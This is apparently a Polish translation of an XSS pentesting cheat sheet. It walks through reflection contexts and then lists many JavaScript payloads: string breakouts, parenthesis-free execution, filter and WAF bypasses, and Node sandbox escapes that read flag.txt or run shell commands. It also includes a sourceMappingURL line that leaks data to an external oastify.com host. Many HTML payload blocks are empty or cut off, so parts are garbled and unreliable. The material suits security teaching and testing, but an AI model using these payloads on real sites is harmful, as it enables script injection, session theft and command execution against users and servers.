# XSS (Cross Site Scripting) ## Metodologia 1. Sprawdź, czy **jakakolwiek wartość, którą kontrolujesz** (_parametry_, _ścieżka_, _nagłówki_?, _ciasteczka_?) jest **odzwierciedlana** w HTML lub **używana** przez **kod JS**. 2. **Znajdź kontekst**, w którym jest odzwierciedlana/używana. 3. Jeśli **odzwierciedlona**: 1. Sprawdź **jakie symbole możesz użyć** i w zależności od tego, przygotuj ładunek: 1. W **surowym HTML**: 1. Czy możesz tworzyć nowe tagi HTML? 2. Czy możesz używać zdarzeń lub atrybutów wspierających protokół `javascript:`? 3. Czy możesz obejść zabezpieczenia? 4. Czy zawartość HTML jest interpretowana przez jakikolwiek silnik JS po stronie klienta (_AngularJS_, _VueJS_, _Mavo_...), możesz wykorzystać [**Client Side Template Injection**](../client-side-template-injection-csti.md). 5. Jeśli nie możesz tworzyć tagów HTML, które wykonują kod JS, czy możesz wykorzystać [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/index.html)? 2. W **tagu HTML**: 1. Czy możesz wyjść do surowego kontekstu HTML? 2. Czy możesz tworzyć nowe zdarzenia/atrybuty, aby wykonać kod JS? 3. Czy atrybut, w którym jesteś uwięziony, wspiera wykonanie JS? 4. Czy możesz obejść zabezpieczenia? 3. W **kodzie JavaScript**: 1. Czy możesz uciec z tagu ``** tagami strony HTML, wewnątrz pliku `.js` lub w atrybucie używającym protokołu **`javascript:`**: - Jeśli jest odzwierciedlany pomiędzy **``** tagami, nawet jeśli twój input jest w jakimkolwiek rodzaju cudzysłowów, możesz spróbować wstrzyknąć `` i wydostać się z tego kontekstu. Działa to, ponieważ **przeglądarka najpierw analizuje tagi HTML**, a następnie zawartość, dlatego nie zauważy, że twój wstrzyknięty tag `` jest wewnątrz kodu HTML. - Jeśli jest odzwierciedlany **wewnątrz ciągu JS** i ostatni trik nie działa, musisz **wyjść** z ciągu, **wykonać** swój kod i **odtworzyć** kod JS (jeśli wystąpi błąd, nie zostanie on wykonany): - `'-alert(1)-'` - `';-alert(1)//` - `\';alert(1)//` - Jeśli jest odzwierciedlany wewnątrz szablonowych literałów, możesz **osadzić wyrażenia JS** używając składni `${ ... }`: `` var greetings = `Hello, ${alert(1)}` `` - **Kodowanie Unicode** działa, aby napisać **ważny kod javascript**: ```javascript alert(1) alert(1) alert(1) ``` #### Javascript Hoisting Javascript Hoisting odnosi się do możliwości **deklarowania funkcji, zmiennych lub klas po ich użyciu, aby móc wykorzystać scenariusze, w których XSS używa niezadeklarowanych zmiennych lub funkcji.**\ **Sprawdź następującą stronę po więcej informacji:** {{#ref}} js-hoisting.md {{#endref}} ### Javascript Function Kilka stron internetowych ma punkty końcowe, które **akceptują jako parametr nazwę funkcji do wykonania**. Typowym przykładem, który można zobaczyć w praktyce, jest coś takiego: `?callback=callbackFunc`. Dobrym sposobem, aby dowiedzieć się, czy coś podane bezpośrednio przez użytkownika próbuje być wykonane, jest **zmodyfikowanie wartości parametru** (na przykład na 'Vulnerable') i sprawdzenie w konsoli błędów, takich jak: ![](<../../images/image (711).png>) W przypadku, gdy jest podatne, możesz być w stanie **wywołać alert**, wysyłając wartość: **`?callback=alert(1)`**. Jednak bardzo często te punkty końcowe **walidują zawartość**, aby zezwolić tylko na litery, cyfry, kropki i podkreślenia (**`[\w\._]`**). Jednak nawet z tym ograniczeniem nadal możliwe jest wykonanie niektórych działań. Dzieje się tak, ponieważ możesz użyć tych ważnych znaków, aby **uzyskać dostęp do dowolnego elementu w DOM**: ![](<../../images/image (747).png>) Niektóre przydatne funkcje do tego: ``` firstElementChild lastElementChild nextElementSibiling lastElementSibiling parentElement ``` Możesz również spróbować **wywołać funkcje Javascript** bezpośrednio: `obj.sales.delOrders`. Jednak zazwyczaj punkty końcowe wykonujące wskazaną funkcję to punkty końcowe bez zbyt interesującego DOM, **inne strony w tym samym pochodzeniu** będą miały **bardziej interesujący DOM**, aby wykonać więcej akcji. Dlatego, aby **wykorzystać tę lukę w innym DOM**, opracowano **Same Origin Method Execution (SOME)**: {{#ref}} some-same-origin-method-execution.md {{#endref}} ### DOM Istnieje **kod JS**, który **niebezpiecznie** używa **danych kontrolowanych przez atakującego**, takich jak `location.href`. Atakujący mógłby to wykorzystać do wykonania dowolnego kodu JS. {{#ref}} dom-xss.md {{#endref}} ### **Uniwersalne XSS** Tego rodzaju XSS można znaleźć **wszędzie**. Nie zależą one tylko od wykorzystania klienta w aplikacji webowej, ale od **jakiegokolwiek** **kontekstu**. Tego rodzaju **dowolne wykonanie JavaScript** można nawet wykorzystać do uzyskania **RCE**, **odczytu** **dowolnych** **plików** na klientach i serwerach oraz więcej.\ Niektóre **przykłady**: {{#ref}} server-side-xss-dynamic-pdf.md {{#endref}} {{#ref}} ../../network-services-pentesting/pentesting-web/electron-desktop-apps/ {{#endref}} ## Ominięcie WAF kodując obraz ![from https://twitter.com/hackerscrolls/status/1273254212546281473?s=21](<../../images/EauBb2EX0AERaNK (1).jpg>) ## Wstrzykiwanie wewnątrz surowego HTML Kiedy twój input jest odzwierciedlany **wewnątrz strony HTML** lub możesz uciec i wstrzyknąć kod HTML w tym kontekście, **pierwszą** rzeczą, którą musisz zrobić, jest sprawdzenie, czy możesz wykorzystać `<`, aby stworzyć nowe tagi: Po prostu spróbuj **odzwierciedlić** ten **znak** i sprawdź, czy jest **kodowany HTML** lub **usunięty**, czy jest **odzwierciedlany bez zmian**. **Tylko w ostatnim przypadku będziesz mógł wykorzystać ten przypadek**.\ W tych przypadkach również **pamiętaj o** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\ _**Uwaga: Komentarz HTML można zamknąć używając\*\***\***\*`-->`\*\***\***\*lub \*\***`--!>`\*\*_ W tym przypadku, jeśli nie używa się czarnej/białej listy, możesz użyć ładunków takich jak: ```html ``` Ale jeśli używane jest czarne/białe listowanie tagów/atrybutów, będziesz musiał **brute-forcować, które tagi** możesz utworzyć.\ Gdy już **znajdziesz, które tagi są dozwolone**, będziesz musiał **brute-forcować atrybuty/wydarzenia** wewnątrz znalezionych ważnych tagów, aby zobaczyć, jak możesz zaatakować kontekst. ### Brute-force tagów/wydarzeń Przejdź do [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) i kliknij na _**Kopiuj tagi do schowka**_. Następnie wyślij je wszystkie za pomocą Burp intruder i sprawdź, czy jakieś tagi nie zostały wykryte jako złośliwe przez WAF. Gdy odkryjesz, które tagi możesz użyć, możesz **brute-forcować wszystkie wydarzenia** używając ważnych tagów (na tej samej stronie kliknij na _**Kopiuj wydarzenia do schowka**_ i postępuj zgodnie z tą samą procedurą co wcześniej). ### Niestandardowe tagi Jeśli nie znalazłeś żadnego ważnego tagu HTML, możesz spróbować **utworzyć niestandardowy tag** i wykonać kod JS z atrybutem `onfocus`. W żądaniu XSS musisz zakończyć URL na `#`, aby strona **skupiła się na tym obiekcie** i **wykonała** kod: ``` /?search=#x ``` ### Blacklist Bypasses Jeśli używana jest jakaś forma czarnej listy, możesz spróbować ją obejść za pomocą kilku głupich sztuczek: ```javascript //Random capitalization alert(1) //Not closing tag, ending with " <" or " //" //Special cases .//https://github.com/evilcos/xss.swf //https://github.com/evilcos/xss.swf ``` Zauważ, że jeśli spróbujesz **użyć obu** `URLencode + HTMLencode` w dowolnej kolejności, aby zakodować **ładunek**, to **nie zadziała**, ale możesz **zmieszać je wewnątrz ładunku**. **Używanie kodowania Hex i Octal z `javascript:`** Możesz użyć **Hex** i **Octal encode** wewnątrz atrybutu `src` `iframe` (przynajmniej), aby zadeklarować **tagi HTML do wykonania JS**: ```javascript //Encoded: // This WORKS //Encoded: alert(1) // This doesn't work ``` ### Odwrócone przechwytywanie zakładek ```javascript //No safari //chars allowed between the onevent and the "=" IExplorer: %09 %0B %0C %020 %3B Chrome: %09 %20 %28 %2C %3B Safari: %2C %3B Firefox: %09 %20 %28 %2C %3B Opera: %09 %20 %2C %3B Android: %09 %20 %28 %2C %3B ``` ### XSS w "nieeksploatowalnych tagach" (ukryte wejście, link, kanoniczny, meta) Z [**tutaj**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **teraz możliwe jest nadużywanie ukrytych wejść z:** ```html ``` A w **meta tagach**: ```html
Newsletter popup
``` Z [**tutaj**](https://portswigger.net/research/xss-in-hidden-input-fields): Możesz wykonać **ładunek XSS wewnątrz ukrytego atrybutu**, pod warunkiem, że możesz **przekonać** **ofiarę** do naciśnięcia **kombinacji klawiszy**. W systemie Firefox na Windows/Linux kombinacja klawiszy to **ALT+SHIFT+X**, a w systemie OS X to **CTRL+ALT+X**. Możesz określić inną kombinację klawiszy, używając innego klawisza w atrybucie klucza dostępu. Oto wektor: ```html ``` **Payload XSS będzie wyglądać mniej więcej tak: `" accesskey="x" onclick="alert(1)" x="`** ### Ominięcia czarnej listy Kilka sztuczek z używaniem różnych kodowań zostało już ujawnionych w tej sekcji. Wróć, aby dowiedzieć się, gdzie możesz użyć: - **Kodowanie HTML (tagi HTML)** - **Kodowanie Unicode (może być poprawnym kodem JS):** `\u0061lert(1)` - **Kodowanie URL** - **Kodowanie szesnastkowe i ósemkowe** - **Kodowanie danych** **Ominięcia dla tagów HTML i atrybutów** Przeczytaj [Ominięcia czarnej listy z poprzedniej sekcji](#blacklist-bypasses). **Ominięcia dla kodu JavaScript** Przeczytaj [czarną listę ominięć JavaScript z następnej sekcji](#javascript-bypass-blacklists-techniques). ### Gadżety CSS Jeśli znalazłeś **XSS w bardzo małej części** strony, która wymaga jakiejś interakcji (może mały link w stopce z elementem onmouseover), możesz spróbować **zmodyfikować przestrzeń, którą zajmuje ten element**, aby zwiększyć prawdopodobieństwo uruchomienia linku. Na przykład, możesz dodać jakieś style do elementu, takie jak: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5` Jednak, jeśli WAF filtruje atrybut stylu, możesz użyć Gadżetów Stylizacji CSS, więc jeśli znajdziesz, na przykład > .test {display:block; color: blue; width: 100%\} i > \#someid {top: 0; font-family: Tahoma;} Teraz możesz zmodyfikować nasz link i przekształcić go w formę > \ Ten trik został zaczerpnięty z [https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703](https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703) ## Wstrzykiwanie wewnątrz kodu JavaScript W tym przypadku twój **input** będzie **odzwierciedlony wewnątrz kodu JS** pliku `.js` lub pomiędzy tagami `` lub pomiędzy zdarzeniami HTML, które mogą wykonywać kod JS lub pomiędzy atrybutami, które akceptują protokół `javascript:`. ### Ucieczka z tagu \`, możesz łatwo **uciec zamykając tag ` ``` Zauważ, że w tym przykładzie **nawet nie zamknęliśmy pojedynczego cudzysłowu**. Dzieje się tak, ponieważ **analiza HTML jest najpierw wykonywana przez przeglądarkę**, co obejmuje identyfikację elementów strony, w tym bloków skryptów. Analiza JavaScript w celu zrozumienia i wykonania osadzonych skryptów jest przeprowadzana dopiero później. ### Wewnątrz kodu JS Jeśli `<>` są sanitizowane, nadal możesz **uciec ze stringu**, w którym znajduje się twój **input** i **wykonać dowolny JS**. Ważne jest, aby **naprawić składnię JS**, ponieważ jeśli wystąpią jakiekolwiek błędy, kod JS nie zostanie wykonany: ``` '-alert(document.domain)-' ';alert(document.domain)// \';alert(document.domain)// ``` ### Template literals \`\` Aby skonstruować **ciągi** oprócz pojedynczych i podwójnych cudzysłowów, JS akceptuje również **backticks** **` `` `**. Jest to znane jako template literals, ponieważ pozwalają na **osadzenie wyrażeń JS** przy użyciu składni `${ ... }`.\ Dlatego, jeśli zauważysz, że twój input jest **odzwierciedlany** wewnątrz ciągu JS, który używa backticks, możesz nadużyć składni `${ ... }`, aby wykonać **dowolny kod JS**: Można to **nadużyć** używając: ```javascript ;`${alert(1)}``${`${`${`${alert(1)}`}`}`}` ``` ```javascript // This is valid JS code, because each time the function returns itself it's recalled with `` function loop() { return loop } loop`` ``` ### Wykonanie kodu zakodowanego ```html ``` **Javascript wewnątrz komentarza** ```javascript //If you can only inject inside a JS comment, you can still leak something //If the user opens DevTools request to the indicated sourceMappingURL will be send //# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com ``` **JavaScript bez nawiasów** ```javascript // By setting location window.location='javascript:alert\x281\x29' x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x // or any DOMXSS sink such as location=name // Backtips // Backtips pass the string as an array of lenght 1 alert`1` // Backtips + Tagged Templates + call/apply eval`alert\x281\x29` // This won't work as it will just return the passed array setTimeout`alert\x281\x29` eval.call`${'alert\x281\x29'}` eval.apply`${[`alert\x281\x29`]}` [].sort.call`${alert}1337` [].map.call`${eval}\\u{61}lert\x281337\x29` // To pass several arguments you can use function btt(){ console.log(arguments); } btt`${'arg1'}${'arg2'}${'arg3'}` //It's possible to construct a function and call it Function`x${'alert(1337)'}x` // .replace can use regexes and call a function if something is found "a,".replace`a${alert}` //Initial ["a"] is passed to str as "a," and thats why the initial string is "a," "a".replace.call`1${/./}${alert}` // This happened in the previous example // Change "this" value of call to "1," // match anything with regex /./ // call alert with "1" "a".replace.call`1337${/..../}${alert}` //alert with 1337 instead // Using Reflect.apply to call any function with any argumnets Reflect.apply.call`${alert}${window}${[1337]}` //Pass the function to call (“alert”), then the “this” value to that function (“window”) which avoids the illegal invocation error and finally an array of arguments to pass to the function. Reflect.apply.call`${navigation.navigate}${navigation}${[name]}` // Using Reflect.set to call set any value to a variable Reflect.set.call`${location}${'href'}${'javascript:alert\x281337\x29'}` // It requires a valid object in the first argument (“location”), a property in the second argument and a value to assign in the third. // valueOf, toString // These operations are called when the object is used as a primitive // Because the objet is passed as "this" and alert() needs "window" to be the value of "this", "window" methods are used valueOf=alert;window+'' toString=alert;window+'' // Error handler window.onerror=eval;throw"=alert\x281\x29"; onerror=eval;throw"=alert\x281\x29"; {onerror=eval}throw"=alert(1)" //No ";" onerror=alert //No ";" using new line throw 1337 // Error handler + Special unicode separators eval("onerror=\u2028alert\u2029throw 1337"); // Error handler + Comma separator // The comma separator goes through the list and returns only the last element var a = (1,2,3,4,5,6) // a = 6 throw onerror=alert,1337 // this is throw 1337, after setting the onerror event to alert throw onerror=alert,1,1,1,1,1,1337 // optional exception variables inside a catch clause. try{throw onerror=alert}catch{throw 1} // Has instance symbol 'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval} 'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval} // The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol. ``` - [https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md](https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md) - [https://portswigger.net/research/javascript-without-parentheses-using-dommatrix](https://portswigger.net/research/javascript-without-parentheses-using-dommatrix) **Dowolne wywołanie funkcji (alert)** ```javascript //Eval like functions eval('ale'+'rt(1)') setTimeout('ale'+'rt(2)'); setInterval('ale'+'rt(10)'); Function('ale'+'rt(10)')``; [].constructor.constructor("alert(document.domain)")`` []["constructor"]["constructor"]`$${alert()}``` import('data:text/javascript,alert(1)') //General function executions `` //Can be use as parenthesis alert`document.cookie` alert(document['cookie']) with(document)alert(cookie) (alert)(1) (alert(1))in"." a=alert,a(1) [1].find(alert) window['alert'](0) parent['alert'](1) self['alert'](2) top['alert'](3) this['alert'](4) frames['alert'](5) content['alert'](6) [7].map(alert) [8].find(alert) [9].every(alert) [10].filter(alert) [11].findIndex(alert) [12].forEach(alert); top[/al/.source+/ert/.source](1) top[8680439..toString(30)](1) Function("ale"+"rt(1)")(); new Function`al\ert\`6\``; Set.constructor('ale'+'rt(13)')(); Set.constructor`al\x65rt\x2814\x29```; $='e'; x='ev'+'al'; x=this[x]; y='al'+$+'rt(1)'; y=x(y); x(y) x='ev'+'al'; x=this[x]; y='ale'+'rt(1)'; x(x(y)) this[[]+('eva')+(/x/,new Array)+'l'](/xxx.xxx.xxx.xxx.xx/+alert(1),new Array) globalThis[`al`+/ert/.source]`1` this[`al`+/ert/.source]`1` [alert][0].call(this,1) window['a'+'l'+'e'+'r'+'t']() window['a'+'l'+'e'+'r'+'t'].call(this,1) top['a'+'l'+'e'+'r'+'t'].apply(this,[1]) (1,2,3,4,5,6,7,8,alert)(1) x=alert,x(1) [1].find(alert) top["al"+"ert"](1) top[/al/.source+/ert/.source](1) al\u0065rt(1) al\u0065rt`1` top['al\145rt'](1) top['al\x65rt'](1) top[8680439..toString(30)](1) ``` ## **Luki w DOM** Istnieje **kod JS**, który używa **niebezpiecznych danych kontrolowanych przez atakującego**, takich jak `location.href`. Atakujący może to wykorzystać do wykonania dowolnego kodu JS.\ **Z powodu rozszerzenia wyjaśnienia o** [**lukach w DOM, zostało to przeniesione na tę stronę**](dom-xss.md)**:** {{#ref}} dom-xss.md {{#endref}} Tam znajdziesz szczegółowe **wyjaśnienie, czym są luki w DOM, jak są wywoływane i jak je wykorzystać**.\ Nie zapomnij również, że **na końcu wspomnianego posta** możesz znaleźć wyjaśnienie dotyczące [**ataków DOM Clobbering**](dom-xss.md#dom-clobbering). ### Ulepszanie Self-XSS ### Cookie XSS Jeśli możesz wywołać XSS, wysyłając ładunek w ciasteczku, zazwyczaj jest to self-XSS. Jednak jeśli znajdziesz **wrażliwy subdomen do XSS**, możesz wykorzystać ten XSS do wstrzyknięcia ciasteczka w całej domenie, co pozwoli na wywołanie cookie XSS w głównej domenie lub innych subdomenach (tych wrażliwych na cookie XSS). W tym celu możesz użyć ataku cookie tossing: {{#ref}} ../hacking-with-cookies/cookie-tossing.md {{#endref}} Możesz znaleźć świetne wykorzystanie tej techniki w [**tym poście na blogu**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html). ### Wysyłanie swojej sesji do administratora Może się zdarzyć, że użytkownik może podzielić się swoim profilem z administratorem, a jeśli self XSS znajduje się w profilu użytkownika i administrator uzyska do niego dostęp, wywoła lukę. ### Odbicie sesji Jeśli znajdziesz jakieś self XSS, a strona internetowa ma **odbicie sesji dla administratorów**, na przykład pozwalając klientom prosić o pomoc, aby administrator mógł ci pomóc, będzie widział to, co ty widzisz w swojej sesji, ale z jego sesji. Możesz sprawić, że **administrator wywoła twoje self XSS** i ukraść jego ciasteczka/sesję. ## Inne Obejścia ### Normalizowany Unicode Możesz sprawdzić, czy **odzwierciedlone wartości** są **normalizowane unicode** na serwerze (lub po stronie klienta) i wykorzystać tę funkcjonalność do obejścia zabezpieczeń. [**Znajdź przykład tutaj**](../unicode-injection/index.html#xss-cross-site-scripting). ### Obejście flagi PHP FILTER_VALIDATE_EMAIL ```javascript ">"@x.y ``` ### Ruby-On-Rails bypass Z powodu **masowego przypisania RoR** cytaty są wstawiane w HTML, a następnie ograniczenie cytatów jest omijane i dodatkowe pola (onfocus) mogą być dodawane wewnątrz tagu.\ Przykład formularza ([z tego raportu](https://hackerone.com/reports/709336)), jeśli wyślesz ładunek: ``` contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa ``` Para "Key","Value" zostanie zwrócone w ten sposób: ``` {" onfocus=javascript:alert('xss') autofocus a"=>"a"} ``` Wtedy atrybut onfocus zostanie wstawiony i wystąpi XSS. ### Specjalne kombinacje ```html alert(1) alert('XSS') < < String.fromCharCode(88,83,83) \"/\"src=\"/\"onerror=eval(id) (function(x){this[x+`ert`](1)})`al` window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2) document['default'+'View'][`\u0061lert`](3) ``` ### XSS z wstrzyknięciem nagłówków w odpowiedzi 302 Jeśli odkryjesz, że możesz **wstrzykiwać nagłówki w odpowiedzi 302 Redirect**, możesz spróbować **sprawić, aby przeglądarka wykonała dowolny JavaScript**. To **nie jest trywialne**, ponieważ nowoczesne przeglądarki nie interpretują ciała odpowiedzi HTTP, jeśli kod statusu odpowiedzi HTTP to 302, więc sam ładunek cross-site scripting jest bezużyteczny. W [**tym raporcie**](https://www.gremwell.com/firefox-xss-302) i [**tym**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) możesz przeczytać, jak możesz testować różne protokoły w nagłówku Location i sprawdzić, czy którykolwiek z nich pozwala przeglądarce na zbadanie i wykonanie ładunku XSS w ciele.\ Znane wcześniej protokoły: `mailto://`, `//x:1/`, `ws://`, `wss://`, _pusty nagłówek Location_, `resource://`. ### Tylko litery, cyfry i kropki Jeśli jesteś w stanie wskazać **callback**, który javascript ma **wykonać**, ograniczając się do tych znaków. [**Przeczytaj tę sekcję tego posta**](#javascript-function), aby dowiedzieć się, jak nadużywać tego zachowania. ### Ważne ` ``` - **moduł** (domyślny, nic do wyjaśnienia) - [**webbundle**](https://web.dev/web-bundles/): Web Bundles to funkcja, która pozwala na spakowanie wielu danych (HTML, CSS, JS…) razem w plik **`.wbn`**. ```html The resources are loaded from the source .wbn, not accessed via HTTP ``` - [**importmap**](https://github.com/WICG/import-maps)**:** Umożliwia poprawę składni importu ```html ``` To zachowanie zostało wykorzystane w [**tym opisie**](https://github.com/zwade/yaca/tree/master/solution), aby przemapować bibliotekę na eval, aby nadużyć jej i wywołać XSS. - [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Ta funkcja ma na celu rozwiązanie niektórych problemów spowodowanych wstępnym renderowaniem. Działa to w ten sposób: ```html ``` ### Typy zawartości sieciowej do XSS (From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Następujące typy zawartości mogą wykonywać XSS we wszystkich przeglądarkach: - text/html - application/xhtml+xml - application/xml - text/xml - image/svg+xml - text/plain (?? nie na liście, ale myślę, że widziałem to w CTF) - application/rss+xml (wyłączone) - application/atom+xml (wyłączone) W innych przeglądarkach inne **`Content-Types`** mogą być używane do wykonywania dowolnego JS, sprawdź: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md) ### Typ zawartości xml Jeśli strona zwraca typ zawartości text/xml, możliwe jest wskazanie przestrzeni nazw i wykonanie dowolnego JS: ```xml hello ``` ### Specjalne Wzorce Zastępcze Kiedy coś takiego jak **`"some {{template}} data".replace("{{template}}", )`** jest używane. Atakujący może użyć [**specjalnych zastąpień ciągów**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement), aby spróbować obejść niektóre zabezpieczenia: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) `` Na przykład w [**tym opisie**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), to zostało użyte do **ucieczki z ciągu JSON** wewnątrz skryptu i wykonania dowolnego kodu. ### Pamięć podręczna Chrome do XSS {{#ref}} chrome-cache-to-xss.md {{#endref}} ### Ucieczka z XS Jails Jeśli masz tylko ograniczony zestaw znaków do użycia, sprawdź te inne ważne rozwiązania dla problemów z XSJail: ```javascript // eval + unescape + regex eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))() eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequire(%27repl%27)%2estart()%22)()%2f/)) // use of with with(console)log(123) with(/console.log(1)/index.html)with(this)with(constructor)constructor(source)() // Just replace console.log(1) to the real code, the code we want to run is: //return String(process.mainModule.require('fs').readFileSync('flag.txt')) with(process)with(mainModule)with(require('fs'))return(String(readFileSync('flag.txt'))) with(k='fs',n='flag.txt',process)with(mainModule)with(require(k))return(String(readFileSync(n))) with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n))) //Final solution with( /with(String) with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process) with(mainModule) with(require(k)) return(String(readFileSync(n))) /) with(this) with(constructor) constructor(source)() // For more uses of with go to challenge misc/CaaSio PSE in // https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE ``` Jeśli **wszystko jest niezdefiniowane** przed wykonaniem nieufnego kodu (jak w [**tym opisie**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)), możliwe jest generowanie użytecznych obiektów "z niczego", aby nadużyć wykonania dowolnego nieufnego kodu: - Używając import() ```javascript // although import "fs" doesn’t work, import('fs') does. import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8"))) ``` - Uzyskiwanie dostępu do `require` pośrednio [Zgodnie z tym](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) moduły są opakowane przez Node.js w funkcję, w ten sposób: ```javascript ;(function (exports, require, module, __filename, __dirname) { // our actual module code }) ``` Dlatego, jeśli z tego modułu możemy **wywołać inną funkcję**, możliwe jest użycie `arguments.callee.caller.arguments[1]` z tej funkcji, aby uzyskać dostęp do **`require`**: ```javascript ;(function () { return arguments.callee.caller.arguments[1]("fs").readFileSync( "/flag.txt", "utf8" ) })() ``` W podobny sposób jak w poprzednim przykładzie, możliwe jest **użycie obsługi błędów** do uzyskania dostępu do **wrappera** modułu i uzyskania funkcji **`require`**: ```javascript try { null.f() } catch (e) { TypeError = e.constructor } Object = {}.constructor String = "".constructor Error = TypeError.prototype.__proto__.constructor function CustomError() { const oldStackTrace = Error.prepareStackTrace try { Error.prepareStackTrace = (err, structuredStackTrace) => structuredStackTrace Error.captureStackTrace(this) this.stack } finally { Error.prepareStackTrace = oldStackTrace } } function trigger() { const err = new CustomError() console.log(err.stack[0]) for (const x of err.stack) { // use x.getFunction() to get the upper function, which is the one that Node.js adds a wrapper to, and then use arugments to get the parameter const fn = x.getFunction() console.log(String(fn).slice(0, 200)) console.log(fn?.arguments) console.log("=".repeat(40)) if ((args = fn?.arguments)?.length > 0) { req = args[1] console.log(req("child_process").execSync("id").toString()) } } } trigger() ``` ### Obfuskacja i zaawansowane omijanie - **Różne obfuskacje na jednej stronie:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/) - [https://github.com/aemkei/katakana.js](https://github.com/aemkei/katakana.js) - [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com) - [https://skalman.github.io/UglifyJS-online/](https://skalman.github.io/UglifyJS-online/) - [http://www.jsfuck.com/](http://www.jsfuck.com) - Bardziej zaawansowany JSFuck: [https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce](https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce) - [http://utf-8.jp/public/jjencode.html](http://utf-8.jp/public/jjencode.html) - [https://utf-8.jp/public/aaencode.html](https://utf-8.jp/public/aaencode.html) - [https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses](https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses) ```javascript //Katana ``` ```javascript //JJencode ``` ```javascript //JSFuck ``` ```javascript //aaencode ゚ω゚ノ = /`m´)ノ ~┻━┻ / /*´∇`*/["_"] o = ゚ー゚ = _ = 3 c = ゚Θ゚ = ゚ー゚ - ゚ー゚ ゚Д゚ = ゚Θ゚ = (o ^ _ ^ o) / (o ^ _ ^ o) ゚Д゚ = { ゚Θ゚: "_", ゚ω゚ノ: ((゚ω゚ノ == 3) + "_")[゚Θ゚], ゚ー゚ノ: (゚ω゚ノ + "_")[o ^ _ ^ (o - ゚Θ゚)], ゚Д゚ノ: ((゚ー゚ == 3) + "_")[゚ー゚], } ゚Д゚[゚Θ゚] = ((゚ω゚ノ == 3) + "_")[c ^ _ ^ o] ゚Д゚["c"] = (゚Д゚ + "_")[゚ー゚ + ゚ー゚ - ゚Θ゚] ゚Д゚["o"] = (゚Д゚ + "_")[゚Θ゚] ゚o゚ = ゚Д゚["c"] + ゚Д゚["o"] + (゚ω゚ノ + "_")[゚Θ゚] + ((゚ω゚ノ == 3) + "_")[゚ー゚] + (゚Д゚ + "_")[゚ー゚ + ゚ー゚] + ((゚ー゚ == 3) + "_")[゚Θ゚] + ((゚ー゚ == 3) + "_")[゚ー゚ - ゚Θ゚] + ゚Д゚["c"] + (゚Д゚ + "_")[゚ー゚ + ゚ー゚] + ゚Д゚["o"] + ((゚ー゚ == 3) + "_")[゚Θ゚] ゚Д゚["_"] = (o ^ _ ^ o)[゚o゚][゚o゚] ゚ε゚ = ((゚ー゚ == 3) + "_")[゚Θ゚] + ゚Д゚.゚Д゚ノ + (゚Д゚ + "_")[゚ー゚ + ゚ー゚] + ((゚ー゚ == 3) + "_")[o ^ _ ^ (o - ゚Θ゚)] + ((゚ー゚ == 3) + "_")[゚Θ゚] + (゚ω゚ノ + "_")[゚Θ゚] ゚ー゚ += ゚Θ゚ ゚Д゚[゚ε゚] = "\\" ゚Д゚.゚Θ゚ノ = (゚Д゚ + ゚ー゚)[o ^ _ ^ (o - ゚Θ゚)] o゚ー゚o = (゚ω゚ノ + "_")[c ^ _ ^ o] ゚Д゚[゚o゚] = '"' ゚Д゚["_"]( ゚Д゚["_"]( ゚ε゚ + ゚Д゚[゚o゚] + ゚Д゚[゚ε゚] + ゚Θ゚ + ゚ー゚ + ゚Θ゚ + ゚Д゚[゚ε゚] + ゚Θ゚ + (゚ー゚ + ゚Θ゚) + ゚ー゚ + ゚Д゚[゚ε゚] + ゚Θ゚ + ゚ー゚ + (゚ー゚ + ゚Θ゚) + ゚Д゚[゚ε゚] + ゚Θ゚ + ((o ^ _ ^ o) + (o ^ _ ^ o)) + ((o ^ _ ^ 